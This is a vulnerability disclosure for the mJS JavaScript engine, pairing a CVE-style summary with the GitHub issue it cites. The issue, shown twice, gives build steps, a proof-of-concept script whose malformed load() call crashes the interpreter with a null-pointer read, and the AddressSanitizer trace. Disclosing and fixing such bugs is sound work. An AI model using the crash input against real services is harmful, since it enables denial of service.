Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /lib/x86_64-linux-gnu/libc.so.6+0x18e810. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
load('[\u\r \ntrue\t\r \n,\t\r \nnull\t\r \n,123.456\t\r \n]' +
    '[\t\r \ntrue\t\r \n,\t\r \nnull\t\r \n,123.456\t\r \n]' +
    '\t\r \n}\t\r \n'); 
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==28077==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f9ece3d7811 bp 0x7ffc033dfbb0 sp 0x7ffc033df328 T0)
==28077==The signal is caused by a READ memory access.
==28077==Hint: address points to the zero page.
    #0 0x7f9ece3d7810  (/lib/x86_64-linux-gnu/libc.so.6+0x18e810)
    #1 0x7f9ece88ee55  (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x50e55)
    #2 0x557908c817a0 in cs_read_file src/common/cs_file.c:34
    #3 0x557908bb6043 in mjs_exec_file src/mjs_exec.c:1087
    #4 0x557908b93bf6 in mjs_load src/mjs_builtin.c:69
    #5 0x557908bad244 in mjs_execute src/mjs_exec.c:853
    #6 0x557908bb6a05 in mjs_exec_internal src/mjs_exec.c:1073
    #7 0x557908bb6a05 in mjs_exec_file src/mjs_exec.c:1096
    #8 0x557908b73909 in main src/mjs_main.c:47
    #9 0x7f9ece26ab96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #10 0x557908b74449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e810)
==28077==ABORTING
```
Credits: Found by OWL337 team.

SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e810)
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e810)
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
load('[\u\r \ntrue\t\r \n,\t\r \nnull\t\r \n,123.456\t\r \n]' +
    '[\t\r \ntrue\t\r \n,\t\r \nnull\t\r \n,123.456\t\r \n]' +
    '\t\r \n}\t\r \n'); 
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==28077==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f9ece3d7811 bp 0x7ffc033dfbb0 sp 0x7ffc033df328 T0)
==28077==The signal is caused by a READ memory access.
==28077==Hint: address points to the zero page.
    #0 0x7f9ece3d7810  (/lib/x86_64-linux-gnu/libc.so.6+0x18e810)
    #1 0x7f9ece88ee55  (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x50e55)
    #2 0x557908c817a0 in cs_read_file src/common/cs_file.c:34
    #3 0x557908bb6043 in mjs_exec_file src/mjs_exec.c:1087
    #4 0x557908b93bf6 in mjs_load src/mjs_builtin.c:69
    #5 0x557908bad244 in mjs_execute src/mjs_exec.c:853
    #6 0x557908bb6a05 in mjs_exec_internal src/mjs_exec.c:1073
    #7 0x557908bb6a05 in mjs_exec_file src/mjs_exec.c:1096
    #8 0x557908b73909 in main src/mjs_main.c:47
    #9 0x7f9ece26ab96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #10 0x557908b74449 in _start (/usr/local/bin/mjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x18e810)
==28077==ABORTING
```
Credits: Found by OWL337 team.

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